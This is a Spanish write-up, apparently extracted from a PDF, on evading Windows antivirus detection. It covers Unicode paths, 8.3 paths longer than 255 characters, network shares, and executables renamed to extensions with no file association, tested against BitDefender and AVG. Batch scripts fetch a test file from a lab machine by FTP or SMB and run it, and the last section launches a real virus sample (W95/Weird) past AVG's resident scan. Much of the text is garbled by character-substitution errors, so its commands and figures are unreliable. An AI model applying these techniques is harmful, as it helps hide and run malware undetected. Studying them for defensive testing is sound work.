Sei sulla pagina 1di 40

Win32/Bypass: Anulando la deteccin de ficheros

Written by FraMe ( frame at kernelpanik or! "

# $ %arrafada introductoria
Saludos. Como autor de estas pginas pretendo matar, quiz en un exceso de pretensin, dos pjaros de un tiro. Por un lado, quiero contar una serie de ideas, bastante felices, que sirvieron para verificar el funcionamiento, mal !asta que lo corregimos, de un "#S de fic!eros en el que trabaj$ a sueldo !ar cosa de un a%o, & digo lo de a sueldo porque sino ser'a como Case, & !ar'a ideeses por !obbie en mis ratos libres. Por otro, como parte entretenida & didctica, tambi$n quiero ver si al resto de los que !acen cosas del estilo, concretamente los fabricantes de antivirus, comenten los mismos errores a la !ora de programar, por aquello de no sentirme in(til, & aceptar que programbamos como todo el mundo, slo que nosotros nos molestbamos en comprobarlo. )n fin, vamos a lo que vamos. *a idea general, que se me ocurri no s$ mu& bien como, & sobre la que giran una parte de estas pginas, es poco ms o menos $sta+ -

,#nde est el fic!ero fulanito )n una estructura de datos asociada a una entrada situada en bla bla bla . aqu' toda la teor'a que cuentan en cualquier universidad sobre los sistemas de fic!eros, los rboles b, etc / 0a vale, pero 1 ,eso &o como Pepe P$rez , programador, cmo lo identificoPues por una cadena de texto que contiene una ruta al fic!ero, ,no,Slo una ruta,Cmo que si slo una rutaS', a ver, ,slo existe una (nica cadena de texto con un (nica ruta para cada fic!ero#eber'a ser as', ,no0o creo que no 1 Pues dar igual. )xistir una conversin entre ellas, & todas apuntarn al mismo fic!ero. ,0 si la conversin tiene alg(n fallo-

2s' que a!ora vo& a contar las ideas, muc!as de ellas rozando el absurdo, que !e ido probando, para luego ms tarde contar algunas otras que se me !an ocurrido a ra'z de las pruebas sobre los antivirus.

& $ Buscando un pa'ar dentro de una a!u'a


*o primero que me plante$ fue coger un P234, e intentar buscar alternativas para nombrarlo. 5ealmente no s$ mu& bien qu$ quer'a conseguir, salvo que el "#S fallara. 2 nosotros, como ejemplo de P234 inicial, bien nos vale el siguiente+

6+7#ocuments and Settings7frame78is documentos76SPruebas7test

6ig9+ #irectorio en formato con nombres largos & codificacin :;"C<#)

)ste P234 tiene como caracter'stica ms particular !acer uso de una representacin en formato :;"C<#)+ la combinacin 2*3=9>, que sobre esta fuente da el simbolito de corc!eas. *o del :;"C<#) de momento no os pregunt$is porqu$ lo pongo, ms abajo razono ligeramente el motivo. ;o obstante, lo que nos interesa, o interesaba a mi, es ver que este P234 tiene correspondencias con otros a los que no se parece muc!o. Por ejemplo, a este+ 6+7#<C:8)?97frame78"S#<C?976SPruebas73)S3?97

6+7#<C:8)?97frame78"S#<C?976SPruebas73)S3?9@dir )l volumen de la unidad 6 es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 6+7#<C:8)?97frame78"S#<C?976SPruebas73)S3?9 EFG9AGAEEH EFG9AGAEEH EFG9AGAEEH 9 A 99+A9 I#"5@ . 99+A9 I#"5@ .. 99+A9 E ejemplo.txt arc!ivos E b&tes dirs J.KAK.HJH.>AE b&tes libres

)sta correspondencia es la que establece el formato L.>, !eredado de los tiempos de 8S#<S & las restricciones de 6239H. )n $l, los fic!eros & directorios no pueden tener ms de L caracteres de longitud, la extensin del fic!ero no puede ser superior a > caracteres & el conjunto de representacin est en el espacio 2SC"" desde el valor >A al valor 9AL, ambos incluidos. 2dems de este, se me ocurri, exist'a otro caso, proporcionado por los nombres de carpetas compartidas en red. Supongamos que compartimos la carpeta test en red como s!are , & que el nombre de la mquina es 4aMNing . Con lo cual tendr'amos esto+ 6+7@dir 774aMNing7s!are )l volumen de la unidad 774aMNing7s!are es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 774aMNing7s!are EFG9AGAEEH EFG9AGAEEH EFG9AGAEEH 9 A 99+A9 I#"5@ . 99+A9 I#"5@ .. 99+A9 E ejemplo.txt arc!ivos E b&tes dirs J.KAL.9AE.>AE b&tes libres

Por tanto, si no se me olvidaba contar, ten'a B posibles situaciones+

o ;ombres de fic!ero largos con caracteres en el espacio de representacin 2SC"".Fb/.


o o o ;ombres de fic!ero largos con caracteres en el espacio de representacin :;"C<#). ;ombres de fic!ero en formato L.> ;ombres de fic!ero en formato ;)3D"<S.

*a moraleja de este asunto, es que nosotros en el "#S siempre analizbamos el caso n(mero 9, es decir, caracteres desde 2*3=>A !asta 2*3=9AL, con nombres largos . ej+ C+78is #ocumentos7E9 Programa )studios.doc / . 8s que nada porque es lo t'pico & !abitual que todo el mundo tiene en su PC. Por el contrario los otros casos se presentan bastante menos. Precisamente la existencia de escenarios at'picos !ac'a que me pareciera interesante ver qu$ se pod'a conseguir usando & abusando de ellos, & comprobando cmo reaccionaba nuestro desarrollo a situaciones que no eran las esperadas por los que lo estbamos programando.

&& (n nombre) un problema *os nombres) dos problemas +


0a ten'a una idea con un poco ms de forma, pero con ninguna utilidad prctica. 2s' que lo que se impon'a era comenzar a aplicarlas todas, una tras otra, !asta que alguna consiguiera !acer que el "#S funcionara de forma anmala, o directamente, no funcionara.

&& & $ ,os nombres impronunciables


Como todos sabemos, lo que un usuario ms necesita en su sistema, son nombres como test ms carcter del simbolito corc!ea , o simbolito corc!ea ms fotosverano . 0o, sin ms, propongo nombres como por ejemplo+ OP en vez de 8is #ocumentos , &a que, no s$ si a vosotros, a mi me parece muc!'simo ms elocuente. )n fin, si deben o no deben admitirse fic!eros con caracteres de control desde 2*3=EEE a 2*3=E>9 & del 2*3=9AK al 2*3=AJJ, es algo en lo que no vo& a entrar. *a realidad es que se admiten, as' que vamos a ver lo que pasa cuando los usamos como parte de nuestros nombres de fic!ero, porque esto fue lo primero que me dio por probar. Como ejemplo inicial vo& a usar C8#.)Q), que sinceramente no us$, pero que a!ora me !a parecido didctico ponerlo. 6+7#ocuments and Settings7frame78is documentos76SPruebas@dir )l volumen de la unidad 6 es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 6+7#ocuments and Settings7frame78is documentos76SPruebas EFG9AGAEEH 9A+AA I#"5@ . EFG9AGAEEH 9A+AA I#"5@ .. EFG9AGAEEH 99+A9 I#"5@ test OPAGAEEH 99+JB I#"5@ 9 arc!ivos 9.>HJ b&tes B dirs J.KAF.K9J.JAE b&tes libres Como se puede apreciar, parece que el simbolito , que usamos como ejemplo anteriormente tiene ciertos problemas a la !ora de ser representado por C8#.)Q) Por tanto nuestro antiguo directorio test tiene otra representacin, & el reci$n creado OP directamente altera el flujo de caracteres & sobrescribe la representacin de la fec!a. "nteresante. #e momento no es nada grave & se puede seguir accediendo a ellos, pero &a nos da una idea sobre que usar ciertos caracteres para nombrar a los fic!eros, produce resultados que no son los esperados. )n el caso del "#S, lo que !ice fue generar directorios con formato :;"C<#) & sentarme a ver como el "#S fallaba cada vez que los intentaba escanear. ,Por qu$-. )n nuestro caso, por una caracter'stica de Dorland. )ntorno que se usaba, en parte, para programar el cac!arro. )l problema estaba en la forma en la que las funciones 6ind6irst & 6ind;ext , usadas para recuperar las entradas existentes en un directorio, nos devolv'an los datos. 4aciendo inaccesibles aquellos directorios con representacin en formato :;"C<#). )l primer ejemplo de este malfuncionamiento !ace uso del propio C*Q )xplorer incluido como #emo en #elp!i, en este caso compilado bajo #elp!i F. )sta aplicacin usa los componentes visuales ms comunes para acceder al sistema de fic!eros desde #elp!i+ 3#irector&3reeRieM & 36ile*istRieM. Como bien se puede apreciar en la imagen inferior, cuando usamos C*Q )xplorer, no podemos acceder ms all del directorio test , por tener representacin :;"C<#), quedando inaccesibles los fic!eros & directorios que este contiene.

6igA+ )rror en el softMare C*Q )xplorer de Dorland al acceder a una ruta :;"C<#)

4aciendo uso de otro componente, 3#irector&<utline, tambi$n incluido con #elp!i F, nos encontramos que acceder al directorio test produce un error de entradaGsalida+

6ig>+ )rror en el componente 3#irector&<utline de Dorland al acceder a una ruta :;"C<#)

Para mostrar el problema de forma ms exacta, vamos a codificarnos nuestra propia aplicacin, sin componentes, !aciendo uso de estas A funciones . ver 8&#ir.zip para encontrar el cdigo completo / .../ if 6ind6irst.)dit9.3ext = S7TS, 6ile2ttrs, sr/ U E t!en begin repeat if .sr.2ttr and 6ile2ttrs/ U sr.2ttr t!en begin

"tems.2dd.sr.;ame/V endV until 6ind;ext.sr/ I@ EV 6indClose.sr/V endV .../ Salvo aspectos visuales, la idea de uso de 6ind6irst & 6ind;ext, es esa. *ocalizar el primero de los elementos sobre un directorio, & seguir recorriendo sus entradas, !asta que no quede ninguna por recorrer.

6igB+ ;avegacin usando la funciones 6ind6irst & 6ind;ext desde #elp!iF

Remos como podemos alcanzar el directorio de nuevo, pero si intentamos acceder a la informacin contenida en el subdirectorio 6+7#ocuments and Settings7frame78is documentos76SPruebas7test nos es imposible+

6igJ+ 2cceso errneo a un directorio con formato :;"C<#) usando las funciones 6ind6irst & 6ind;ext desde #)*P4"F

Prestando un poco de atencin vemos un problema en la conversin entre la codificacin usada en el sistema de fic!eros & su representacin como S35";W dentro del propio #elp!i, de tal forma que se intenta usar como P234 la siguiente cadena+ 6+7#ocuments and Settings7frame78is documentos76SPruebas7test- . *a cual no !ace referencia a ninguna ubicacin dentro del sistema de fic!eros. Conclusin+ )n determinados escenarios el uso de nombres de fic!ero que inclu&en caracteres no representables dentro del espacio 2SC"" convencional . 2*3=E>A !asta 2*3=9AL / pueden provocar problemas en la representacin de las rutas & en el posterior acceso a los fic!eros.

&& && $ Ata'os en el camino


0a ten'a algo. Pero claro, en mi proceso de autoauditar, o autodestruir, seg(n se mire, el trabajo de varios meses & varias personas, me parec'a interesante seguir probando & viendo como buscar otros posibles errores en el "#S. 2s' que una vez visto & parc!eado el problema con Dorland & que se le atragantasen ciertos nombres de fic!ero, toc volver a pensar un poco. Para ello me puse a darle vueltas al siguiente problema+ ,Cmo de largo puede ser un P234 bajo Xin>A-. Cualquiera que busque un poco obtendr una respuesta estndar+ AJJ caracteres. Sin embargo, &o me empe%$ en construir un P234 que tuviera ms de esa longitud. ;o s$ qu$ !abr'a desa&unado esa ma%ana, pero el !ec!o, no me pregunt$is cmo, es que se me ocurri lo siguiente+ aceptemos que el P234 puede tener como muc!o AJJ caracteres, de acuerdo, pero, ,si esos AJJ caracteres estn en formato L.> al expandirse ocuparn ms-. Pues lo que !ice fue comprobarlo. ,Yu$ suced'a si aprovec!ando el formato L.> creaba un P234 que al ser codificado en formato de nombre largo ocupara ms de AJJ caracteres6+7#ocuments and Settings7frame78is documentos76SPruebas@ dir )l volumen de la unidad 6 es 8ain )l n(mero de serie del volumen es+ AB26C#DA6

#irectorio de 6+7#ocuments and Settings7frame78is documentos76SPruebas EFG9AGAEEH 9F+9H I#"5@ . EFG9AGAEEH 9F+9H I#"5@ .. EFG9AGAEEH 9F+9J I#"5@ 22222222222222222222222222222222222222222222 22222222222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222 EFG9AGAEEH 9>+9> I#"5@ test OPAGAEEH 99+JB I#"5@ 9 arc!ivos 9.>HJ b&tes J dirs J.KJ>.E>A.9KA b&tes libres

Creado est el directorio con un montn de letras 2 . 2!ora vamos a intentar crear un directorio dentro de $l.
6+7#ocuments and Settings7frame78is documentos76SPruebas722222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222222222222 22222222222222222222222222222222222222222222222222222222222222222222222222222222222 @ mkdir subdirectorio

)l nombre del arc!ivo o la extensin es demasiado largo.

)fectivamente, como superamos el tama%o mximo del P234 nos impide crear nada. Pero, ,& si accedemos a ese subdirectorio en formato L.>6+7#ocuments and Settings7frame78is documentos76SPruebas@ cd AAAAAA-. 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?9@ mkdir subdirectorio 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?9@ cd subdirectorio 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio@ echo /hola/ 0 fichero 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio@ type fichero Z!olaZ 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio@ dir

)l volumen de la unidad 6 es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio EFG9AGAEEH 9F+AA EFG9AGAEEH 9F+AA I#"5@ I#"5@ . ..

EFG9AGAEEH 9F+AA K fic!ero 9 arc!ivos K b&tes A dirs J.KJ>.EAB.EEE b&tes libres

Como podemos ver, si usamos el formato L.>, podemos acceder, crear un subdirectorio, acceder a $l, crear fic!eros dentro de $l, mostrarlos, listar el contenido del directorio, sin ning(n tipo de problema. Sin embargo, en cualquier entorno que no acepte el formato L.>, o quiera convertir el formato L.> a representacin de nombres largos, obtendremos lo siguiente+

6igH+ )rror en )xplorer.exe al acceder a un P234 superior a AJJ caracteres

Siendo imposible acceder a la carpeta subdirectorio , o crear nuevos contenidos a partir de all'. 3ampoco puede ser eliminada. ;i se pueden realizar b(squedas sobre ella. )n definitiva es una carpeta a la que se deja de poder tener acceso, sino es a trav$s del formato L.> Para ello se puede !acer uso de una sencilla utilidad que fuerza la invocacin de un dilogo de navegacin en formato L.>, con el cual podremos acceder !asta el lugar deseado.

6igF+ #ilogo en formato L.>

;o tengo excesivas ganas de empezar a discutir entorno al ,por qu$- ocurre esto. 2 grandes rasgos & desde mi opinin personal, que puede ser errnea, ocurre porque desde espacio de usuario, & ms concretamente desde el 2P" de Xin>A, se !a limitado la longitud de las rutas a AJJ caracteres. )sta limitacin parece no incumbir ni al espacio de Nernel, ni al propio sistema de fic!eros. Pero vamos, esto es slo una impresin. ;osotros lo que !icimos para solucionarlo fue convertir las rutas a formato L.> & a correr. Conclusin+ )s posible generar determinados P234S que desde espacio de usuario slo podrn ser accedidos en formato L.>. Siendo imposible su uso en formato de nombre largo, que casualmente es el formato por defecto.

&& &&& $ 1aminos fuera del camino


)ste (ltimo apartado no es ms que una vuelta de tuerca sobre el anterior, que di simplemente por curiosidad & por complicarle un poco ms la vida a mi jefe de pro&ecto . :n saludo !ermano /. ,Yu$ pasar'a si extendiendo un P234 con nombres de fic!eros cortos a su mxima longitud se creara una carpeta compartida en su (ltimo nivel-. ,Se podr'a escribir a partir de ella usando el direccionamiento de red-. *a respuesta es que s'. Crear una unidad de red compartida, en el (ltimo nivel navegable, !ace navegable la estructura a trav$s del nombre de red. Con el a%adido de que una vez eliminada la carpeta compartida no existe forma de recuperar el acceso. Para ello vamos a crear una estructura a partir de la ra'z, sobre la cual vamos a generar directorios de una letra, !asta su mximo nivel, para simplificarlo !e creado una peque%a !erramienta que lo !ace, & con ella nos generamos el siguiente P234+ 6+7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E 7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E

0 sobre la (ltima carpeta establecemos una unidad compartida de nombre [ero 6+7#ocuments and Settings7frame@ net share

;ombre

5ecurso

#escripcin

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC "PC\ "PC remota [ero 6+7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E Se !a completado el comando correctamente.
2s' que podremos crear nuevo contenido sobre ella, !aciendo uso de su nombre de red. 6+7@ dir 223a4kin!25ero )l volumen de la unidad 774aMNing7[ero es 8ain )l n(mero de serie del volumen es+ AB26C#DA6

#irectorio de 774aMNing7[ero EFG9AGAEEH 9K+9F I#"5@ . EFG9AGAEEH 9K+9F I#"5@ .. EFG9AGAEEH 9K+9F I#"5@ Prueba E arc!ivos E b&tes > dirs J.LFF.AAF.JAE b&tes libres

:na vez es eliminado el recurso compartido, esa informacin queda totalmente inaccesible, & por tanto no !a& forma de recuperar la informacin all' almacenada, sino es recreando la unidad compartida.

&& &6 $ Muchos nombres) muchos problemas


2qu' &a se me gastaron las ideas, & el tiempo, salvo el combinarlas entre s'. )n definitiva, !ab'a visto que existen problemas con la codificacin :;"C<#), que existen problemas al intentar expandir un P234 L.> a formato de nombre largo, & que los nombres de red tienen la peculiaridad de permitir escribir en zonas que luego no pueden ser accedidas localmente. Poco ms o menos con estas ideas solucionamos los problemas de nuestro desarrollo, & conseguimos que escaneara, en lo que a nosotros nos pareci, la forma correcta para los propsitos que ten'amos. Pero la sensacin que se qued era clara+ no es tan sencillo encontrar un fic!ero, sobre todo, si alguien se empe%a en ocultarlo. 2 partir de aqu' !a sido cuestin de encontrar tiempo & ganas para probar todas esas ideas, & alguna otra, en softMare comerciales. *o de elegir antivirus & no otro tipo de softMare no es ms que cuestin de profusin, son muc!as las firmas de antivirus existentes, difusin, todo !ijo de vecino tiene o !a tenido uno, e impacto, al ser un producto que se considera cr'tico en la seguridad informtica a nivel usuario.

&&& 7*nde est8 9&1A:;


2qu' comienza la parte prctica del art'culo. )"C25 es un falsoCvirus dise%ado para que las compa%'as antivirus eval(en precisamente ante qu$ circunstancias son capaces de detectar el virus. Por ejemplo, sirve para ver si un antivirus busca correctamente en fic!eros .zip, o .rar, o si detecta la ejecucin, o si el escaneo funciona correctamente. 0 precisamente para eso !a sido usado cuando !a sido posible, para evaluar cmo responden los antivirus ante $l en escenarios que !acen uso de las ideas comentadas !asta a!ora, & de otras que !an surgido. *o primero, presentarlo+ 6+7!ome76S3ests7eicar@ eicar com )"C25CS32;#25#C2;3"R"5:SC3)S3C6"*)] 2!ora toca presentar a los antivirus que vamos a usar como bater'a de pruebas. *a seleccin se !a basado en el popular criterio de ir a softonic.com & descargar antivirus seg(n orden de popularidad. #e tal forma la seleccin, de 9E antivirus, !a sido la que sigue+

Dit#efender L Standard & Dit#efender 9E Plus 2RW F.J.9 6ree 2vast] vB.F Personal Panda 2ntivirus AEEJ & Panda 2ntivirus AEEF ;orton 2ntivirus AEEF ;od>A vA.J [one 2larm 2ntivirus vH.J ^aspersN& vH.E.9

Para cada uno de los antivirus, me !a parecido sensato evaluar A aspectos, con un objetivo para cada uno de ellos+ Modo :esidente: )l objetivo del anlisis del modo residente !a sido determinar si existe un procedimiento, o varios, para sobrepasar su proteccin, permitiendo de esta forma la e'ecucin de contenido v'rico en el sistema.

Modo 9scaneo de Ficheros: )l objetivo de este modo !a sido por el contrario determinar si existe un procedimiento, o varios, que permitan ocultar contenido v'rico en el sistema de tal forma que se evite su deteccin.

Para facilitar un poco el trabajo !e !ec!o unos scripts, que a la postre !an servido para lo justo, pero !an aportado alguna pista. *a mquina que !a servido de laboratorio es )riNa . *os scripts son 774aMNing7infect7doitCnbt.bat & 774aMNing7infect7doitCftp.bat , en funcin del protocolo por el cual queramos !acer que viaje el fic!erito de eicar, cu&o nombre para la demo ser+ !azard.com @ type doit$ftp bat C+ cd 7 mNdir testCavirs cd testCavirs mNdir 22222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 22222 222222222222222222222222222222222222222222222222222222222222222222222222222 2222 cd 222222?9 mNdir ZprivatefolderZ cd ZprivatefolderZ cop& 7742X^";W7bio!azard7viriiCftp.bat .7 viriiCftp.bat

pause @ type doit$nbt bat C+ cd 7 mNdir testCavirs cd testCavirs mNdir 22222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 22222 222222222222222222222222222222222222222222222222222222222222222222222222222 2222 cd 222222?9 mNdir ZprivatefolderZ cd ZprivatefolderZ cop& 7742X^";W7bio!azard7viriiCnbt.bat .7 viriiCnbt.bat pause Como se puede apreciar ambos fic!eros !acen exactamente lo mismo. Weneran dentro de C+7tetsC avirs un pat! superior a AJJ caracteres, al que acceden mediante formato L.>, para crear un directorio de nombre privatefolder . privatefolder ms 2*3=AJB / & dentro de $l bajan un fic!ero de nombre virilCftp.bat o virilCnbt.bat, el cual ser el encargado de traspasar el fic!ero de eicar al sistema & ejecutarlo. *a estructura de dic!os fic!eros es la siguiente+ @ type <irii$ftp bat cop& 7742X^";W7bio!azard7ftpCcmd.txt .7 ftp Cn Cs+ftpCcmd.txt 9KA.9HL.FE.9 !azard.com pause @ type ftp$cmd t=t literal user m&user literal pass m&pass get !azard.com quit @ type <irii$nbt bat cop& 7742X^";W7bio!azard7!azard.com .7 !azard.com pause ;o tiene muc!o que explicar. viriiCftp.bat !ace uso del fic!ero ftpCcmd.txt para bajar el fic!ero !azard.com de un ftp que se encuentra en la mquina 4aMNing para luego ejecutarlo. 8ientras que viriCnbt.bat lo !ace directamente por recursos compartidos. Sin ms, es !ora de ponerse manos a la obra.

&&& & $ Bit*efender > ?tandard


M@*@ :9?&*9AB9

6igL+ Dit#efender L detectando & deteniendo la ejecucin de )"C25

)speranzador comienzo, ntese la irnia. )ste es el primer antivirus que !e probado, & no es que !a&a sido mu& grato ver el pantallaza de alerta. Por si acaso, que con paciencia & una ca%a !asta las ms verdes caen, lo !e lanzado como unas cuantas veces ms, & al final me !e dado cuenta de un peque%o detalle. )l bloqueo se realiza !aciendo uso de un P234 L.> . C+7testCa?97aaaaaa?97privat?97!azard.com /, mientras que nosotros estamos usando un P234 para ejecutar que es diferente & contiene :;"C<#) . C+7testCavirs7aaaaaa?97privatefolder7!azard.com /. ,2caso los se%ores de Dit#efender se dieron cuenta de lo mismo que nos dimos cuenta nosotros en el "#S & usan por defecto P234S en formato L.>-. ,2caso Dit#efender se llevar mal con :;"C<#)Sea como fuere, si nos fijamos bien, cosa que &o !e tardado un rato en !acer, cuando accedemos a la unidad de red para copiar el fic!ero, lo !ace, sin ma&or problema. C+7testCavirs7222222?97privatefolder@cop& 7742X^";W7bio!azard7!azard.com .7 9 file.s/ copied. )ste peque%o detalle, da algo de informacin+ parece que Dit#efender se atraganta con el formato :;"C<#), & por ello convierten a formato L.>. Pero !a& un peque%o matiz que no !an tenido en consideracin, & es que los nombres de las carpetas en red . p.ej+ bio!azard ) no admiten formato L.> #ic!o de otra forma, no existe ning(n 774aMNing7bio!az?97, sino que la (nica forma de acceder a la carpeta compartida es mediante su nombre :;"C<#) bio!azard. Por tanto, si no es capaz de trabajar con nombres en formato :;"C<#) 1

6igK+ Dit#efender permite la ejecucin de )"C25

,Yui$n lo iba a decir- 774aMNing7bio!azard7!azard.com & se ejecuta sin ma&or problema. M@*@ 9?1AA9@ Ramos a ver qu$ le sucede cuando intenta escanear la carpeta local C+7testCavirs , que evidentemente tiene contenido v'rico.

6ig9E+ )scaneo manual de carpeta infectada

0 el resultado es 1

6ig99+ Dit#efender fallando al escanear en buscar de )"C25

GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC GG GG Product+ Dit#efender L Standard GG Rersion+ L.E GG GG Creado el+ ELG9AGAEEH 9L+AA+AL GG GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC )stad'sticas 5uta de anlisis+ C+7testCavirs Carpetas +E 6ic!eros + A 2rc!ivos +E 6ic!eros empaquetados + E Rirus encontrados +E 6ic!eros infectados +E 2dvertencias + E 6ic!eros sospec!osos + E 6ic!eros desinfectados + E 6ic!eros eliminados +E 6ic!eros copiados +E 6ic!eros trasladados +E 6ic!eros renombrados + E Yue difiere ligeramente del contenido que deber'a !aber encontrado+ C+7testCavirs7222222?9@dir GS Rolume in drive C !as no label. Rolume Serial ;umber is BC>LC9C#9

#irector& of C+7testCavirs7222222?9 ELG9AGAEEH ELG9AGAEEH ELG9AGAEEH E 9L+AA 9L+AA 9H+>A 6ile.s/ I#"5@ . I#"5@ .. I#"5@ privatefolder E b&tes

#irector& of C+7testCavirs7222222?97privatefolder ELG9AGAEEH ELG9AGAEEH EBG9AGAEEH ELG9AGAEEH A 9H+>A 9H+>A 99+BK EK+AL 6ile.s/ I#"5@ I#"5@ . .. HL !azard.com HA viriiCnbt.bat 9>E b&tes

3otal 6iles *isted+ A 6ile.s/ 9>E b&tes J #ir.s/ K.9BA.JJL.FAE b&tes free 1@A1,(?&@A9? )n modo Nernel Dit#efender L permite la ejecucin de contenido v'rico a trav$s de carpetas compartidas ;etDios con nombres :;"C<#) )n modo escaneo Dit#efender L no detecta contenido v'rico en rutas largas superiores a AJJ caracteres creadas mediante estructuras L.>

&&& && $ Bit*efender .# %lus


M@*@ :9?&*9AB9

6ig9A+ Dit#efender v9E permitiendo la ejecucin de )"C25

. Cara de sorpresa / )n la versin 9E de Dit#efender las cosas funcionan un poco peor que en la versin L. 2qu' directamente el script doitCnbt.bat ejecuta )"C25. *o primero que me plante$ es que )"C25 !ubiera salido de la base de datos de la v9E, pero no, no es as', es que simplemente esta versin tiene ms errores que la anterior. Porque )"C25 es detectado correctamente en un entorno esperado .

6ig9>+ Dit#efender v9E detiene la ejecucin de )"C25

,Por qu$ sucede esto-. )l problema estriba en que la versin L los P234S :;"C<#) se intentaban transformar en formato L.>, en este caso, dic!a transformacin no se lleva a cabo, pero siguen existiendo problemas para acceder a pat!s :;"C<#). )n fin, luego que venga alguien a !ablar de la refactorizacin, & de la mejora continua en el cdigo. M@*@ 9?1AA9@ Para no engrosar ms el documento, me a!orro la pantallita, pero el problema persiste. GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC GG Producto Dit#efender 2ntivirus Plus v9E GG Producto 9E.E GG Creado el+ ELG9AGAEEH 9L+J9+AL GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC )stad'sticas 5uta de anlisis +C+7testCavirs Carpetas +E 6ic!eros +E Procesos de memoria analizados 2rc!ivos +E 5untime pacNers +E Rirus encontrados +E 6ic!eros infectados +E Procesos de memoria infectados 1@A1,(?&@A9? )n modo Nernel Dit#efender 9E permite la ejecucin de contenido v'rico a trav$s de carpetas con nombres :;"C<#) )n modo escaneo Dit#efender 9E no detecta contenido v'rico en rutas largas superiores a AJJ caracteres creadas mediante estructuras L.>

+E

+E

&&& &&& $ A6C D E .


M@*@ :9?&*9AB9 )n el caso de 2RW no !a servido nada de lo visto anteriormente. Para desconsuelo de mi persona su funcin residente !a interceptado sin ma&or problema cualquier truco sobre pat!s :;"C<#) & L.>. Sin embargo, cierto es que luego la (nica opcin que funciona es ignorar, puesto que ni el borrado 4eal , ni la cuarentena 8ove to Rault , se pueden aplicar correctamente en fic!eros con caracteres :;"C<#).

6ig9B+ 2RW F.J.9 deteniendo la ejecucin de )"C25

2gotadas todas las ideas, incluso !asta las ms est(pidas, que me a!orro contar, !a tocado cambiar la l'nea de pensamiento. )l cambio de l'nea de pensamiento !a sido a ra'z de lo siguiente, palabra. C+7@cop& 7742X^";W7infect7!azard.txt .7 9 file.s/ copied. C+7@ t&pe !azard.txt QJ<]P_`2PaB7P[QJB.Pb/FCC/Fc\)"C25CS32;#25#C2;3"R"5:SC3)S3C6"*)]\4=4T Ciertamente no es que esto diga muc!o, ms bien nada, pero no s$ porqu$, se me !a pasado la siguiente idea por la mente+ ,& por qu$ no se puede ejecutar eso-. S', lo s$+ va&a c!orradas se me ocurren. Pero bueno, lo cierto, es que si nosotros, desde un C8# de Xin>A, escribimos !azard.txt , pues algo se ejecuta .

6ig9J+ 2pertura de notepad.exe por asociacin de fic!ero .txt

*a verdad es que difiere bastante de lo que queremos, pero, algo es algo. )s evidente que se ejecuta porque existe una asociacin entre el tipo de fic!ero .txt & notepad , como podemos ver a continuacin. C+7@2SS<C d findstr txt .logUtxtfile .scpUtxtfile .txtUtxtfile .MtxUtxtfile C+7@630P) d findstr txtfile 3xtfileU_S&stem5oot_7s&stem>A7;<3)P2#.)Q) _9 0 aqu' viene la parte ms divertida+ a cualquier fic!ero sin extensin asociada, cmd.exe lo tratar igual que si fuera un fic!ero ejecutable con formato Xin>AP). ,)sto qu$ quiere decir-. C+7@cop& C+7X";#<XS7s&stem>A7ftp.exe C+7ftp.runit 9 arc!ivos copiados. C+7@ftp.runit ftp@ lcd #irectorio local a!ora C+7. ,Curioso verdad-. Dueno, pues creo que cualquiera se puede imaginar cuales son los siguientes pasos. )l primero comprobar que, para desgracia de 2RW, por defecto slo c!equea los fic!eros que $l considera ejecutables seg(n extensin, que ciertamente son los que la gran ma&or'a consideramos ejecutables, pero que visto lo visto, difiere muc!o de la verdad.

6ig9H+ 2RW F.J.9 configuracin por defecto del residente

2cto seguido !a& que elegir un virus que no sea )"C25, principalmente porque es incompatible con el formato ejecutable que espera C8#.)Q). Para el caso !a servido bajar un ezine de AK2 & coger uno al azar que !iciera algo en Xin>A, en este caso tloader.exe , que seg(n dice aqu' se asocia a XKJGXeird.

6ig9F+ 2RW F.J.9 deteniendo la ejecucin de XKJGXeird

Pues sin ma&or problema, nos creamos un acceso directo, que ejecute un cmd.exe para lanzar en vez de tloader.exe pues tloader.bilbao , en !onor como siempre a ese gran m$todo, & tan amigos.

6ig9L+ Configuracin del 2cceso #irecto al Rirus XKJGXeird

Con el puzzle montado, &a slo queda ejecutar.

